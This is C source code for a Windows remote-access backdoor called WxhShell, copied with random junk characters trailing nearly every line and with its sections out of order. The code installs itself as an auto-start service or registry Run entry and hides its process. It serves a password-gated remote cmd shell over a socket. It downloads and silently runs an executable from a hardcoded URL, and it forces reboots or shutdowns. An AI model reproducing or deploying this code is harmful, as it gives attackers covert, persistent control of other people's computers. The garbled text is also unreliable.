    if(Boot(SHUTDOWN)) ?<F\S2W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g<.VW 0  
    else { |5![k<o#  
    closesocket(wsh); [#2= w  
    ExitThread(0); Wigm`A=,r  
    } P5aHLNit  
    break; gQ/zk3?k  
    } L:B&`,E  
  // 获取shell fNB*o={r|  
  case 's': { k92189B9j/  
    CmdShell(wsh); # <&=ZLN  
    closesocket(wsh); \ =83#*KK  
    ExitThread(0);  -JUv'fk  
    break; ~'T]B{.+J  
  } UGR5ILf  
  // 退出 b/S4b  
  case 'x': { ^M?uv{354  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4Q3Q.(  
    CloseIt(wsh); TXy*-<#vR  
    break; T8qG9)~3  
    } q:nYUW o   
  // 离开 ]vu' +F$  
  case 'q': { ;%U`lE0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T]E$H, p  
    closesocket(wsh); 8vaqj/  
    WSACleanup(); MK=:L   
    exit(1); v3@)q0@  
    break; 1 k H  
        } zHu:Ec7  
  } WddU|-W  
  }  NU_VUd2  
Q$RP2&  
  // 提示信息 LXw&d]P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hj2P|;2S  
} y0=BL  
  } a2 YdkdjT  
>GZF \ER  
  return; ?mF-zA'4]  
} mXa1SZnE   
GU"MuW`u2  
// shell模块句柄 'l<kY\I!%  
int CmdShell(SOCKET sock) [x)BQX'  
{ r{Fu|aoa;5  
STARTUPINFO si; \>jK\j  
ZeroMemory(&si,sizeof(si)); uHwuw_eK`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H[6d@m- Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B;rq{ac!P]  
PROCESS_INFORMATION ProcessInfo; l sUQ7%f  
char cmdline[]="cmd"; 1bvL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9`vse>,-hg  
  return 0; 2@A7i<p  
} ;N4mR6  
wV(_=LF  
// 自身启动模式 n}._Nb 5  
int StartFromService(void) (r7~ccy4  
{ cLB"<mG  
typedef struct $x`U)pv  
{ \W$>EH  
  DWORD ExitStatus; qP]Gl--q{  
  DWORD PebBaseAddress; ozGK -$  
  DWORD AffinityMask; 57r\s 8  
  DWORD BasePriority; ?DpMR/  
  ULONG UniqueProcessId; +LX&1GX  
  ULONG InheritedFromUniqueProcessId; ok[R`99  
}   PROCESS_BASIC_INFORMATION; 4#=^YuKaF1  
c{&sf y  
PROCNTQSIP NtQueryInformationProcess; [c3hwogf:  
SUvHLOA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^TB%| yZ _  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EcP"GO5  
)_f "[m%  
  HANDLE             hProcess; wdp 4-*  
  PROCESS_BASIC_INFORMATION pbi; c.d*DM}W  
\WZ00Y,*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); irrQ$N}   
  if(NULL == hInst ) return 0; >r{,$)H0  
sy]1Ba%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KXR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hS<x+|'l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9-L.?LG  
h{>8W0W*  
  if (!NtQueryInformationProcess) return 0; !m^WtF  
6Lz&"C,`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Le_?x  
  if(!hProcess) return 0; Bv/v4(G5g  
znu?x|mV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mEE/Olh W  
y+X%qTB  
  CloseHandle(hProcess); AMtFOXx%I  
33 N5>}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {L.0jAwB  
if(hProcess==NULL) return 0; HW{+THNj  
 BeP0lZ  
HMODULE hMod; =(@J+Ou  
char procName[255]; GKm)wOb(*S  
unsigned long cbNeeded; *a\1*Jk  
)%UO@4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9#pl BtQ**  
6IeHZ)jGj  
  CloseHandle(hProcess); ~Uga=&  
'm-s8]-W  
if(strstr(procName,"services")) return 1; // 以服务启动 Vwl`A3Y  
bC"#.e  
  return 0; // 注册表启动 w' U;b  
} O^`Y>>a  
$L;7SY?  
// 主模块 5w{_WR6,  
int StartWxhshell(LPSTR lpCmdLine) 9I.="b=J)  
{ {OB\~$TH  
  SOCKET wsl; 6B|IbQ^  
BOOL val=TRUE; t0hg!_$bq  
  int port=0; , gz:2UY#  
  struct sockaddr_in door; =Ermh7,  
x+^iEj`gk  
  if(wscfg.ws_autoins) Install(); ][#]4 _  
dZ;cs c@xv  
port=atoi(lpCmdLine); 5a4;d+  
et)A$'Q  
if(port<=0) port=wscfg.ws_port; E[ e ''  
8Gs{Zfp!D  
  WSADATA data; ?$8OVq.w,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K{"(|~=U  
?l bK;Kv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r=s2wjk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |8V+(Vzl  
  door.sin_family = AF_INET; 1oodw!hW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qv[@ioc  
  door.sin_port = htons(port); s{hJ"lv:  
Z wIsEJz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'rU 5VrK  
closesocket(wsl); "EHwv2Hm>  
return 1; oXb}6YC  
} "4i(5|whp?  
e|xRK?aVBu  
  if(listen(wsl,2) == INVALID_SOCKET) { 9G 9!=J  
closesocket(wsl); !=eui$]  
return 1; s_p?3bKu  
} +*F ;l\R  
  Wxhshell(wsl); m<TKy_C`  
  WSACleanup(); eV}Ow`~I5  
,zz+s[ZH7O  
return 0; '6[0NuB  
r1$ O<3\  
} >a@-OJ.yOk  
)1&[uE#L  
// 以NT服务方式启动 ;v>2z!M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B!rY\ ?W  
{ _fa2ntuS=f  
DWORD   status = 0; IQY\L@"  
  DWORD   specificError = 0xfffffff; ob-z-iDz  
lYD-U8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JtvAi\52$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dsrzXmE0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BTGPP@p4  
  serviceStatus.dwWin32ExitCode     = 0; M0 =K#/  
  serviceStatus.dwServiceSpecificExitCode = 0; Oz]iHe  
  serviceStatus.dwCheckPoint       = 0; k q_B5L?  
  serviceStatus.dwWaitHint       = 0; m[(2  
[ 7Q|vu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <5?.S{Z9  
  if (hServiceStatusHandle==0) return; m03;'Nj'7#  
Y|>y]x  
status = GetLastError(); :J}L| `U9  
  if (status!=NO_ERROR) D+#QQH  
{ #k5Nnv#(J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1kvBQ1+  
    serviceStatus.dwCheckPoint       = 0; O-5H7Kd-  
    serviceStatus.dwWaitHint       = 0; ~S#Le  
    serviceStatus.dwWin32ExitCode     = status; )Q&:$]  
    serviceStatus.dwServiceSpecificExitCode = specificError; l>H#\MR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z[Uz~W6M]  
    return; 0ir]  
  } ^JJ*pT:  
qAHQZKk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >t3%-Kc  
  serviceStatus.dwCheckPoint       = 0; 0x[v)k9"0  
  serviceStatus.dwWaitHint       = 0; -7$7TD`'7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DMsxHAE1  
} QUwSnotgU  
sHmzwvpLA  
// 处理NT服务事件,比如:启动、停止 wHAoO#`wn5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .G4(Ryh  
{ WEOW6UV(  
switch(fdwControl) 0,E*9y}  
{ 7S(5\9  
case SERVICE_CONTROL_STOP: ?tV$o,11  
  serviceStatus.dwWin32ExitCode = 0; UuzT*Y>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +*mi%)I  
  serviceStatus.dwCheckPoint   = 0; N>xs@_"o  
  serviceStatus.dwWaitHint     = 0; tNG0ft%a  
  { $wub)^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nu<M~/  
  } nV@k}IJg:?  
  return; @y2{LUJe  
case SERVICE_CONTROL_PAUSE: ][I}yOD70  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dzKI?i)x  
  break; x9p,j  
case SERVICE_CONTROL_CONTINUE: d[6[3B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w0q.cj@nd  
  break; xOt%H\*k"  
case SERVICE_CONTROL_INTERROGATE: pmv;M`_|R  
  break; iQ~;to;Y  
}; D/5 ah_;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .|G([O^H  
} 294 0M4  
QcU&G*   
// 标准应用程序主函数 u|BD=4*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !Z 3iu  
{ DwMq  
{D={>0  
// 获取操作系统版本 JS1$l+1  
OsIsNt=GetOsVer(); q5p!Ty"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,73J#  
s9>-Q"(y  
  // 从命令行安装 &$:1rA_v  
  if(strpbrk(lpCmdLine,"iI")) Install(); LK-2e$1  
)Gi!wm>zvN  
  // 下载执行文件 2g$PEwXe  
if(wscfg.ws_downexe) { 96fbMP+7R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6F(;=iY8  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?suxoP%  
} /5b,&  
5 <X.1 T1  
if(!OsIsNt) { k2(B{x}L  
// 如果时win9x,隐藏进程并且设置为注册表启动 \Z{6j&;  
HideProc(); [AstD9  
StartWxhshell(lpCmdLine); x\z* iv  
} )*}2L_5]  
else {ZP0%MD  
  if(StartFromService()) _a|-_p  
  // 以服务方式启动 airg[dK  
  StartServiceCtrlDispatcher(DispatchTable); p6VS<L  
else Zi<Y?Vm/,O  
  // 普通方式启动 e* {'A  
  StartWxhshell(lpCmdLine); "j#;MOK  
j *B,b4  
return 0; gY9HEfB  
} &FHzd/  
8b\XC%k  
dT?/9JIv  
efW<  
=========================================== O10,h(O  
#fk#RNt  
j?<>y/IR  
OE[| 1?3  
tbG^9d  
k]K][[s`  
" %Bn"/0,  
(1Q G]1q  
#include <stdio.h> =BW;n]ls  
#include <string.h> YflM*F`  
#include <windows.h> #X1iig+  
#include <winsock2.h> 9f1,E98w_  
#include <winsvc.h> .K%1{`.|  
#include <urlmon.h> Wwo'pke  
>|Yr14?7  
#pragma comment (lib, "Ws2_32.lib") y:,Ro@H%  
#pragma comment (lib, "urlmon.lib") oM ey^]!  
v o<'7,  
#define MAX_USER   100 // 最大客户端连接数 ;:nx6wi  
#define BUF_SOCK   200 // sock buffer O1]L4V1iH  
#define KEY_BUFF   255 // 输入 buffer 1X. E:  
QfPsF@+-`7  
#define REBOOT     0   // 重启 P`^3-X/  
#define SHUTDOWN   1   // 关机 T)4pLN E  
CNP!v\D  
#define DEF_PORT   5000 // 监听端口 b`: n i   
4k%y*L  
#define REG_LEN     16   // 注册表键长度 LGu K@^  
#define SVC_LEN     80   // NT服务名长度 m ioNMDG  
rnX D(  
// 从dll定义API dA4DW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p6P .I8g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X^Dklqqy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nSR7$yS_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9=RfGx  
F%|F-6  
// wxhshell配置信息 PiQs Vk  
struct WSCFG { 9feVy\u  
  int ws_port;         // 监听端口 naOCa  
  char ws_passstr[REG_LEN]; // 口令 4gKu8G  
  int ws_autoins;       // 安装标记, 1=yes 0=no WK$d<:"  
  char ws_regname[REG_LEN]; // 注册表键名 g+v.rmX  
  char ws_svcname[REG_LEN]; // 服务名 $F&m('aB8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kxvzAKz~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J]mG!#9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #M/^n0E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 76 ] X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P6G&3yPt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 , yd]R4M  
zvEofK  
}; cJ^{iOQ+  
FUTD/y]Lu  
// default Wxhshell configuration u([|^~H]  
struct WSCFG wscfg={DEF_PORT, tRC*@>I$  
    "xuhuanlingzhe", r3OR7f[  
    1, vIzREu|5  
    "Wxhshell", `PoFKtVX M  
    "Wxhshell", Gn?NY}.S  
            "WxhShell Service", 'DeI]IeP  
    "Wrsky Windows CmdShell Service", [}ayaXXQ5  
    "Please Input Your Password: ", !{S& "  
  1, h&|PHI  
  "http://www.wrsky.com/wxhshell.exe", Mn> /\e  
  "Wxhshell.exe" mZG)#gW[  
    }; ?Sj >b   
:)*+ aS"  
// 消息定义模块 S&JsDPzSd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3bU(ea^e$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Bz+zEXBC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R"2wop  
char *msg_ws_ext="\n\rExit."; %$Sm ei  
char *msg_ws_end="\n\rQuit."; 5|<jPc  
char *msg_ws_boot="\n\rReboot..."; ](@HPAG]  
char *msg_ws_poff="\n\rShutdown..."; kN~:Bh$  
char *msg_ws_down="\n\rSave to "; d}:eLC  
<6rc 8jYz  
char *msg_ws_err="\n\rErr!"; [aS<u`/g|  
char *msg_ws_ok="\n\rOK!"; R]LuZN  
fFe{oR   
char ExeFile[MAX_PATH]; (,`R>Dk  
int nUser = 0; d8!yV~Ka  
HANDLE handles[MAX_USER]; y&&%%3  
int OsIsNt; d YliC  
u5Tu~  
SERVICE_STATUS       serviceStatus; T9'd?nw9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a +$'ULK+r  
|O';$a1S  
// 函数声明 iVSN>APe  
int Install(void); UE\Z] t!  
int Uninstall(void); :w,#RcW  
int DownloadFile(char *sURL, SOCKET wsh); UFSbu5 j  
int Boot(int flag); uB@~xQ_V  
void HideProc(void); v? Ufx  
int GetOsVer(void); }mdk+IEt  
int Wxhshell(SOCKET wsl); ,'Sj:l  
void TalkWithClient(void *cs); '_~qAx@F#c  
int CmdShell(SOCKET sock); "h`oT4j5q  
int StartFromService(void); Kj{(jT  
int StartWxhshell(LPSTR lpCmdLine); Hy~+|hLvh  
Rt+ak}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8 \BGL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @{q:179w^  
cF V[k'F  
// 数据结构和表定义 H_n Ilku  
SERVICE_TABLE_ENTRY DispatchTable[] = CK=TD`$w  
{ UKpc3Jo:~  
{wscfg.ws_svcname, NTServiceMain}, .+ d.~jHX  
{NULL, NULL} E#zLm  
}; eHl)/='  
U_KCN09  
// 自我安装 p}e1!q;N  
int Install(void) J`[v u4  
{ 2L(\-]%f  
  char svExeFile[MAX_PATH]; 7 .y35y  
  HKEY key; mDdL7I  
  strcpy(svExeFile,ExeFile); LX8A@Yct  
259R5X<V  
// 如果是win9x系统,修改注册表设为自启动 +ktubJ@Qgj  
if(!OsIsNt) { IzI2w6a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4Q17vCC*n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y a/+|mv  
  RegCloseKey(key); dMw}4c3E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Liv.i;-qE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !)4'[5t"U  
  RegCloseKey(key); IQ\5!e  
  return 0; $n= w  
    } Y/<`C  
  } (Go1@;5I  
} 3j7Na#<tL3  
else { @#QaaR;4  
}bZb8hiG  
// 如果是NT以上系统,安装为系统服务 Ly P Cc|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $)#?4v<  
if (schSCManager!=0)  /~1Ew  
{ ~ ?JN I8  
  SC_HANDLE schService = CreateService Dq[Z0"8  
  ( [pxC3{|d$  
  schSCManager, NCa3")k  
  wscfg.ws_svcname, rbl7-xhC7  
  wscfg.ws_svcdisp, nKnQ%R  
  SERVICE_ALL_ACCESS, SVn $!t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %7hf6Xo=  
  SERVICE_AUTO_START, ,<s/K  
  SERVICE_ERROR_NORMAL, ( yK@(euG  
  svExeFile, t2LX@Q"  
  NULL, I~F]e|Ehqr  
  NULL, Ay@/{RZz  
  NULL, 4DgH/Yo  
  NULL, cd._q2  
  NULL (91 YHhk{  
  ); R ~"&E#C  
  if (schService!=0) \C<'2KZR,  
  { lBzfBmEB  
  CloseServiceHandle(schService); $d*PY_  
  CloseServiceHandle(schSCManager); [NoOA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M2Jb<y]  
  strcat(svExeFile,wscfg.ws_svcname); b5)a6qtb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,L=lg,lH^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NjbIt=y  
  RegCloseKey(key); t{-*@8Ke  
  return 0; )kEH}P&  
    } 7/zaf  
  } /:@)De(S  
  CloseServiceHandle(schSCManager); sSy!mtS  
} YSbe Cyv  
} \0n<6^y  
z&Xk~R*$  
return 1; '{w[).c.  
} n0QHrIf{  
zF@[S  
// 自我卸载 qVW3oj<2  
int Uninstall(void) WK5B8u*<  
{ ?G[=pY:=  
  HKEY key; wGw<z[:f  
op($+Q  
if(!OsIsNt) { O7oq1JI]Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uD\rmO{  
  RegDeleteValue(key,wscfg.ws_regname); 3 MCV?"0  
  RegCloseKey(key); $ {e5Ka  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vn65:" O  
  RegDeleteValue(key,wscfg.ws_regname); M(1cf(<+  
  RegCloseKey(key); n_(f"U v  
  return 0; \}J"`J\Q  
  } $DdC|gMK  
} R|92T*h  
} ;` h$xB(  
else { .%+anVXS  
Dy*K;e-+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E|A~T7G=  
if (schSCManager!=0) z.|[g$F  
{ OF0v0Y/a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @KRia{  
  if (schService!=0) `CRF E5  
  { 0oe2X1.%  
  if(DeleteService(schService)!=0) { j;I( w [@P  
  CloseServiceHandle(schService); fohZ&f|>  
  CloseServiceHandle(schSCManager); DzIV5FG  
  return 0; 1)3'Y2N*  
  } Wuk!\<T{  
  CloseServiceHandle(schService); $Wu|4]o>9  
  } EE*|#  
  CloseServiceHandle(schSCManager); :31?Z(fQ  
} .u'MMe>^  
} D&x.io  
L|nFN}da  
return 1; ?Y 5Vje[^  
} ehLn+tg  
< lUpvr  
// 从指定url下载文件 b2H -D!YO^  
int DownloadFile(char *sURL, SOCKET wsh) 0p+3 6g  
{ kjDmwa+91T  
  HRESULT hr; Nza@6nI"  
char seps[]= "/"; oIniy{  
char *token; \Xe{vlo>h  
char *file; r$<M*z5q(\  
char myURL[MAX_PATH]; Tb!FO"o  
char myFILE[MAX_PATH]; dA^{}zZu  
;oO_5[,M  
strcpy(myURL,sURL); C~WWuju'  
  token=strtok(myURL,seps); A-, hm=?  
  while(token!=NULL) =b8u8*ua  
  { B.!&z-)#  
    file=token; c D .;  
  token=strtok(NULL,seps); X3] [C  
  } '#>Fe`[  
>[&ser  
GetCurrentDirectory(MAX_PATH,myFILE); d)0|Q  
strcat(myFILE, "\\"); IgRi(q^b-  
strcat(myFILE, file); P4LiU2C  
  send(wsh,myFILE,strlen(myFILE),0); 4|4 *rhwp  
send(wsh,"...",3,0); e jR_3K^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2PSkLS&IM  
  if(hr==S_OK) }=B~n0  
return 0; u08j9) ,4  
else [E+J=L.l  
return 1; &- !$qUli  
l](!2a=[  
} Dbb=d8utE  
e}n(mq  
// 系统电源模块 mmG]|Cl@  
int Boot(int flag) F8#MI G   
{ Vvp{y  
  HANDLE hToken; I2-ue 63 ?  
  TOKEN_PRIVILEGES tkp; ~'|^|*}~Dj  
ysCK_  
  if(OsIsNt) { _pzYmQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Igw2n{})w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^*+j7A.n  
    tkp.PrivilegeCount = 1; EPA 2_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =nO:R,U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]+b?J0|P<  
if(flag==REBOOT) { n/`!G?kvI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )L7[;(gQ  
  return 0; @ 'c(q=K;  
} 2jlz#Sk  
else { ;$8ptB.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -d thY(8  
  return 0; 9g# 62oIg  
} b~B'FD  
  } (XlvPcTi  
  else { HH0ck(u_A*  
if(flag==REBOOT) { /0!.u[t)~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zqURnsJ  
  return 0; ).0p\.W~  
} K7C!ZXw~  
else { K4o']{:U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LK!sk5/  
  return 0; (pHJEY  
} 0d+b<J,  
} _ nz^+  
neE Zw#(Z  
return 1; X]n`YF7  
} 6, |>;,U7  
xAO\'#m  
// win9x进程隐藏模块 df {\O* 6  
void HideProc(void) Ujqnl>l  
{ /Dyig  
l>L?T#v!_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (D6ks5Uui  
  if ( hKernel != NULL ) X"mPRnE330  
  { W7(5z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,L<x=Dg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LpI4R  
    FreeLibrary(hKernel); %%I:L~c  
  } bKsEXS  
`Y+ R9bd  
return; e@]m@  
} &y7=tEV  
p!)PbSw#  
// 获取操作系统版本 2pv by`P4  
int GetOsVer(void) :;TF_S v  
{ i3KAJ@  
  OSVERSIONINFO winfo; U#- 5",X|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S6\E  I5S  
  GetVersionEx(&winfo); _|4QrZ$n(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .r&CIL >  
  return 1; 9V~hz (^  
  else 65VTKlDD  
  return 0; h?h)i>  
} he@Y1CY  
!)CY\c4}d>  
// 客户端句柄模块 f3^qO9R  
int Wxhshell(SOCKET wsl) SUIu.4Mz  
{ O_GHvLO=  
  SOCKET wsh; >wL!`:c'"  
  struct sockaddr_in client; M,yxPHlN  
  DWORD myID; I,05'edCQ  
t-n'I/^5  
  while(nUser<MAX_USER) c6=XJvz  
{ 3]@wa!`  
  int nSize=sizeof(client); U3-MvI,Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9i lJ  
  if(wsh==INVALID_SOCKET) return 1; YXmy-o >  
ttH Rc!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~p:hqi1+<+  
if(handles[nUser]==0) /VP #J<6L  
  closesocket(wsh); \TnK<83  
else {X<_Y<  
  nUser++; ;Jb% 2?+=!  
  } PMX'vA`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m(dW["8D  
fZS'e{V  
  return 0; R?,v:S&i7;  
} ew~uOG+  
7/fJQM  
// 关闭 socket T,Q7 YI  
void CloseIt(SOCKET wsh) 3RI6+Cgmn  
{ T~SkFZ  
closesocket(wsh); %Wm)  
nUser--; ( Rp5g}b  
ExitThread(0); j9w{=( MV  
} +W$uHQq  
-UAMHd}4  
// 客户端请求句柄 <Wj /A/  
void TalkWithClient(void *cs) ,`'A"]"  
{ \}<J>R@  
bE=[P}E  
  SOCKET wsh=(SOCKET)cs; Jk:ZO|'Z  
  char pwd[SVC_LEN]; ()$m9%x  
  char cmd[KEY_BUFF]; [9}<N2,9z  
char chr[1]; ,J<+Wxz  
int i,j; w@YPG{"j  
Q,tjODc6n  
  while (nUser < MAX_USER) { #,FXc~V  
#Aj#C>  
if(wscfg.ws_passstr) { `K[r5;QFKf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V$iA3)7W%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /,j'V r\"  
  //ZeroMemory(pwd,KEY_BUFF); 8/y8tMm]  
      i=0; J-azBi  
  while(i<SVC_LEN) { mi5bk>o  
/xr75|-8  
  // 设置超时 `#r/L@QI  
  fd_set FdRead; x>Dix1b:.  
  struct timeval TimeOut; 5p-vSWr !  
  FD_ZERO(&FdRead); +# !?+'A  
  FD_SET(wsh,&FdRead); BLt_(S?Z`  
  TimeOut.tv_sec=8; /}%C'  
  TimeOut.tv_usec=0; Y{@foIZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q84XmXm|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (y\.uPu!  
P!)F1U]!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a^X% (@Sg  
  pwd=chr[0]; Nv=%R  
  if(chr[0]==0xd || chr[0]==0xa) { y 1Wb/ d  
  pwd=0; \q^ dhY>)  
  break; 4(Y-TFaf  
  } uKJo5%>  
  i++; EpCNp FQT<  
    } $bBUL C  
CG J_k?h  
  // 如果是非法用户,关闭 socket sebuuL.l0<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nDLiER;U  
} %x}Unk  
jH;L7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8u"C7} N_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x #|t#N%  
JuRWR0@`  
while(1) { An,TunX  
.Rb1%1bdc  
  ZeroMemory(cmd,KEY_BUFF); N>g6KgX{K  
;qUd]c9oi  
      // 自动支持客户端 telnet标准   0&Iu+hv  
  j=0; ~X'hRNFx~  
  while(j<KEY_BUFF) { X*bOE}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i\4dd)p-  
  cmd[j]=chr[0]; :Fh_Ya0  
  if(chr[0]==0xa || chr[0]==0xd) { DIhV;[\  
  cmd[j]=0; QYAt)Ik9q  
  break;  3L4v@  
  } U9%^gC  
  j++; >=1UhHFNI  
    } Q(Pc  
k>E/)9%ep2  
  // 下载文件 P8ns @VV  
  if(strstr(cmd,"http://")) { `V*$pHo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); JiXN"s^mcb  
  if(DownloadFile(cmd,wsh)) =~dXP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K8QEHc:  
  else ,ob)6P^rw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q%V530 P;  
  } <){J|O  
  else { F7=&CW 0  
k4"O} jQO  
    switch(cmd[0]) { _gCi@uXS3  
  w (ev=)7<  
  // 帮助 @ "C P@^  
  case '?': { _Pl5?5eZj  
